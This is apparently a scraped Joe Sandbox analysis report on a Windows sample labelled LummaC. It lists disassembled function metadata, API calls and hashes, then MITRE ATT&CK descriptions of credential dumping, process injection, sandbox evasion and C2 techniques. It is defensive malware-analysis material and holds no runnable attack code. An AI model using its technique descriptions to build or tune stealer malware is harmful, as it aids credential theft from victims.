Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 2e1f11e2f5fb8b6f5f5cb9471793ade9c397e797c40a1014ab29af20b239fdf2
Instruction ID: c335f61c649347531cebd75a32a5ffcdf05a30b84f1ee59e67312b2c24c5424f
Opcode Fuzzy Hash: 2e1f11e2f5fb8b6f5f5cb9471793ade9c397e797c40a1014ab29af20b239fdf2
Instruction Fuzzy Hash: DF811571680B469BE724AF79CC81B6AB3A9AF84324F25C62BF055D73C1E774ED008B50

Function 009C2D82 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 431COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 009C3124

Part of subcall function 009C10D3: RtlAllocateHeap.NTDLL(?,00000000,?), ref: 009C11AC

Part of subcall function 009C297F: CreateCompatibleDC.GDI32(00000D62), ref: 009C2AFB

Strings

Ku^%, xrefs: 009C2FC9
Ku^%, xrefs: 009C308D

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: AllocateCompatibleCreateHeapInfoParametersSystem
String ID: Ku^%$Ku^%
API String ID: 392924372-1067927601
Opcode ID: 5fba2874abc2024b8c6e5124d58d55933df8614bf4ced896e9a56da650471c50
Instruction ID: 0304020a8b7357aa871a9953845c05fe796190611bb92348202f0d2440968c71
Opcode Fuzzy Hash: 5fba2874abc2024b8c6e5124d58d55933df8614bf4ced896e9a56da650471c50
Instruction Fuzzy Hash: 98E10671D041168BDF289B688845F7E7A64AB65310F24CA2EF512FB2E1D779CF408787

Function 009DC469 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,009DC460,009CD70D,009CD25E), ref: 009DC477
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 009DC485
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 009DC49E
SetLastError.KERNEL32(00000000,009DC460,009CD70D,009CD25E), ref: 009DC4F0

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 3af03ad12e9647128257a5912ac6000d76f7b2b06ff93b3a1d903c536e80f5b5
Instruction ID: b243435576e265c771f58fd4bbaadd3fc81a724c6f577d61eef3582ab114c2b4
Opcode Fuzzy Hash: 3af03ad12e9647128257a5912ac6000d76f7b2b06ff93b3a1d903c536e80f5b5
Instruction Fuzzy Hash: 5E01F17628D2132EA62126B5BC9667B3A8CCF513B4320863BFA30D92F2FF910C41D185

Function 009E3A37 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

$^F, xrefs: 009E3C3F

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: $^F
API String ID: 0-2072159057
Opcode ID: 7b640e70ded73f9c08873221f97cb98eab12bfdaea4e205fc4c25b8478a09ce9
Instruction ID: e961032a164950f86c0559071d9100b9a7488e1169e208644523c3dcca552d20
Opcode Fuzzy Hash: 7b640e70ded73f9c08873221f97cb98eab12bfdaea4e205fc4c25b8478a09ce9
Instruction Fuzzy Hash: 42411871A00784AFD7269F79CC09B7ABBE8EB84710F14C52AF046DB281D275DE408780

Function 009D64A4 Relevance: 7.6, APIs: 5, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3608c6e5e2c178f7c1cfe104e837bc4478c8e9b3100bb118724dc105c523b5b
Instruction ID: 8b5f998be72c98b3f33b5325644fb277464bdfdd60f47ac4d92e359f7c8e9959
Opcode Fuzzy Hash: c3608c6e5e2c178f7c1cfe104e837bc4478c8e9b3100bb118724dc105c523b5b
Instruction Fuzzy Hash: 9B513E36940249AACB10DFE4D945AEEB7BCEF48710F10811BF815E7350EB70EA81CB69

Function 009C3B1C Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 200COMMON

Download Yara Rule

Strings

^^4, xrefs: 009C3C71
^^4, xrefs: 009C3C5C
~rjz, xrefs: 009C3C01

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: ^^4$^^4$~rjz
API String ID: 0-2511145224
Opcode ID: cb0dc4f94c1c179675eca45769f3c93bbdb24bff6a976fde1cfb2fc9678cba59
Instruction ID: 88efb82df384514071bdab9aed25b6a7626d3c4f254faaf201006ed0cbe2dff8
Opcode Fuzzy Hash: cb0dc4f94c1c179675eca45769f3c93bbdb24bff6a976fde1cfb2fc9678cba59
Instruction Fuzzy Hash: C8618B63E011A657EF64461C8885FBEF2299B84310F75CA2FF109FB291CA25CF41DA43

Function 00994500 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 191COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0099467F

Strings

fE, xrefs: 0099474C
,]{: }, xrefs: 00994726
fE, xrefs: 00994557

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: ,]{: }$fE$fE
API String ID: 4218353326-1418347821
Opcode ID: c472bb84d9ff05f3389f2633287c6e63b4c59ab839c65fc641c5baeda17e4bdc
Instruction ID: 818feef99c7737f30494d3e3b30cd287bf5ceedbec0388f66f513fdf29d593cd
Opcode Fuzzy Hash: c472bb84d9ff05f3389f2633287c6e63b4c59ab839c65fc641c5baeda17e4bdc
Instruction Fuzzy Hash: 795102B27043094BDF12AAAD9C51B2FA2CA9FD5354F1A8638ED59C3342FB71DC168252

Function 009EA02B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 009EA050
CatchIt.LIBVCRUNTIME ref: 009EA136

Strings

RCC, xrefs: 009EA06A
MOC, xrefs: 009EA062

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: f6539cf28fa7df93cb7a4fd0398e0aeb39c553d0f7c18ec6f96af6878300a19c
Instruction ID: 9f8bc32bb128865737d5ff47f2f034e93efed300443a0519c1ca9a9ffeeff35d
Opcode Fuzzy Hash: f6539cf28fa7df93cb7a4fd0398e0aeb39c553d0f7c18ec6f96af6878300a19c
Instruction Fuzzy Hash: 92416C71900249AFCF16DF99CD81AEEBBB9FF48300F188099F915A7261D335AD50DB51

Function 009E09B1 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(0046B080,009E578A,00000000,?), ref: 009E0A14

Part of subcall function 009E346A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,009E578A,009E578A,009D3F62,009E0768,0000FDE9,00000000,?,?,?,009E1067,0000FDE9,00000000,?), ref: 009E3516

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 009E0C6F
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 009E0CB7
GetLastError.KERNEL32 ref: 009E0D5A

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: f7a2fa6a9c7b7c2702c5415ca5342024ae727f2fb94ff8ae16218cd9c601ae44
Instruction ID: eeae4c846fe2251e5b09f9560d36c46345bb288d2dbd0f1a9708e3c0a0368c96
Opcode Fuzzy Hash: f7a2fa6a9c7b7c2702c5415ca5342024ae727f2fb94ff8ae16218cd9c601ae44
Instruction Fuzzy Hash: DFD17B75D002889FCF16CFE9D880AADBBB9FF89300F18416AE855E7251E770AC81CB50

Function 009C34A2 Relevance: 6.2, APIs: 4, Instructions: 175COMMON

Download Yara Rule

APIs

CreateDCW.GDI32(00462C52,00000000,00000000,00000000), ref: 009C34EF
GetSystemMetrics.USER32(00000001), ref: 009C362A
GetSystemMetrics.USER32(00000000), ref: 009C3685

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: MetricsSystem$Create
String ID:
API String ID: 1087689917-0
Opcode ID: 39e2f0d19a532311fcde3bb1b361131464c434098777e83cc3901b20fe1d0761
Instruction ID: 6e77651dc7ba7888d27cec578b2c9ee2546bf46b525594da6494488662a579cd
Opcode Fuzzy Hash: 39e2f0d19a532311fcde3bb1b361131464c434098777e83cc3901b20fe1d0761
Instruction Fuzzy Hash: 34511771D00906ABDF294A5C8956FBD75AAAB49314F30C92FE405EA3B0D278CF844A53

Function 009E992D Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 009E99F4
___AdjustPointer.LIBCMT ref: 009E9A17
___AdjustPointer.LIBCMT ref: 009E9AB3

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: e549594ee335f88c809106c5544a2f4baf43b5eb7b90bfa02ae88c691973c827
Instruction ID: e99df74312c6e8717717d9e367b03961f129d482623a5348329ac4b23bea3f7f
Opcode Fuzzy Hash: e549594ee335f88c809106c5544a2f4baf43b5eb7b90bfa02ae88c691973c827
Instruction Fuzzy Hash: 32510772A05282EFDB2ADF56C881B7A73A8FF84300F14453DE80987292E735ED81C791

Function 009DD17C Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,009DD289,000000FF,0046B0C0,009C6A8C,00000000,00995C9A,?,009DD03D,00000021,00465044,0046503C,00465044,009C6A8C), ref: 009DD23D

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 6740c229368fb351fb4ec7fc524e13049988398a7c5dabcb7bff3fed9ad9b5d0
Instruction ID: 8c5c4bf8d9e0fa6f3c4994b14946d2c03b988e154c6f0ea4dd81b68ef5af1ef8
Opcode Fuzzy Hash: 6740c229368fb351fb4ec7fc524e13049988398a7c5dabcb7bff3fed9ad9b5d0
Instruction Fuzzy Hash: 9721EE71EC2210A7DB219BA1EC40B5A376CDB52764F144122FD25A73D1F770EE00C6D5

Function 009E11A8 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,00000000,00000000,009D8448,00000001,?,009D8448,009937CF,?,00000000), ref: 009E11BE
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,009937CF,00000000), ref: 009E11CB
SetFilePointerEx.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,009937CF,00000000), ref: 009E11F1
SetFilePointerEx.KERNEL32(?,00000000,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 009E1217

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: FilePointer$ErrorLast
String ID:
API String ID: 142388799-0
Opcode ID: cfe5fe78128bb7dd68b840a0eb5d6fe201827b23293f70a06ce6f48395b8db59
Instruction ID: aac645cdf34a23197a395ba378a66119693c27638cb0d3e0a40752583a67876d
Opcode Fuzzy Hash: cfe5fe78128bb7dd68b840a0eb5d6fe201827b23293f70a06ce6f48395b8db59
Instruction Fuzzy Hash: B7115375904259BBCF129FA6DC48A9E3F7DFF08360F108554F920A22A0E7B19E50DBA0

Function 009E600D Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,?,00000000,009E5F06,00000000,?,009EB683,009E5F06,009D6E9E,?,00000000,00000104,?,00000001,00000000), ref: 009E6023
GetLastError.KERNEL32(?,009EB683,009E5F06,009D6E9E,?,00000000,00000104,?,00000001,00000000,00000000,?,009E5F06,?,00000104,009D6E9E), ref: 009E602D
__dosmaperr.LIBCMT ref: 009E6034
GetFullPathNameW.KERNEL32(?,?,?,00000000,?,?,009EB683,009E5F06,009D6E9E,?,00000000,00000104,?,00000001,00000000,00000000), ref: 009E605E

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: FullNamePath$ErrorLast__dosmaperr
String ID:
API String ID: 1391015842-0
Opcode ID: c7c4edbd7a7b70f3d07427bfb556099335345e9fdb19da3b7b6c0357393f98ce
Instruction ID: 4489001e637561927dc74fea11ff96f30b4a7ab1ddbac5b17ab0f01d12bc3ea6
Opcode Fuzzy Hash: c7c4edbd7a7b70f3d07427bfb556099335345e9fdb19da3b7b6c0357393f98ce
Instruction Fuzzy Hash: 9EF0AF36200210AFDB319FA3DC08E1BBFADEF543A17108829F556C2920EB72EC10CB60

Function 009E6073 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,?,00000000,009E5F06,00000000,?,009EB60B,009E5F06,009E5F06,009D6E9E,?,00000000,00000104,?,00000001), ref: 009E6089
GetLastError.KERNEL32(?,009EB60B,009E5F06,009E5F06,009D6E9E,?,00000000,00000104,?,00000001,00000000,00000000,?,009E5F06,?,00000104), ref: 009E6093
__dosmaperr.LIBCMT ref: 009E609A
GetFullPathNameW.KERNEL32(?,?,?,00000000,?,?,009EB60B,009E5F06,009E5F06,009D6E9E,?,00000000,00000104,?,00000001,00000000), ref: 009E60C4

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: FullNamePath$ErrorLast__dosmaperr
String ID:
API String ID: 1391015842-0
Opcode ID: a72e1de69e8ac08235e0b59f4006df7dc26bf1db3731920fcb84235d1ad79fd5
Instruction ID: ebfa06407dfc4f8aec32b58f49bf06a275420a00aa385c6f0b4c03912002f88f
Opcode Fuzzy Hash: a72e1de69e8ac08235e0b59f4006df7dc26bf1db3731920fcb84235d1ad79fd5
Instruction Fuzzy Hash: A3F0A436200610AFDB215BB3DC04F57BBADEFA53A17108829F555C2520EBB1EC108B60

Function 009CD9D7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 009CDA16
__IsNonwritableInCurrentImage.LIBCMT ref: 009CDACA

Strings

csm, xrefs: 009CDAB4

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 4e5ede0b4027151e909a7cfdd177c32462acfec368dfe8ef4ee5f082c53f6a08
Instruction ID: 293862e0193fea5f000c4f1ec50b6799ada1ed4616923ab0728ef82165f82674
Opcode Fuzzy Hash: 4e5ede0b4027151e909a7cfdd177c32462acfec368dfe8ef4ee5f082c53f6a08
Instruction Fuzzy Hash: 7041B374E05219ABCF10DF68C880F9EBBB5AF45314F1481AAE8189B392D775DE05CB92

Function 009E9896 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 009E9B0D

Strings

csm, xrefs: 009E9B2F
csm, xrefs: 009E9BA0

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: bd77938e174d17ab149a6bce2b14a2ddc10501c9168853feaa912111e58622ef
Instruction ID: 012111d792a9b00c782640be0efbaa997b2f39930160b55cbdaa9e906d4c2ee1
Opcode Fuzzy Hash: bd77938e174d17ab149a6bce2b14a2ddc10501c9168853feaa912111e58622ef
Instruction Fuzzy Hash: 2931D372800299EBCF239F52EC459BA7B6AFF09315B1C815AF8544A221C336DCA1DB81

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Driver: Driver Load, File: File Creation, File: File Modification, Module: Module Load
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Vd3tOP5WSD.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Vd3tOP5WSD.exe_d08f6736851ccede2310e8edaaa1b846ad7693_1ddaf28a_f9882812-5831-4481-ae20-b3f002e4b10d\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER14FC.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER15A9.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER15F8.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Windows Analysis Report
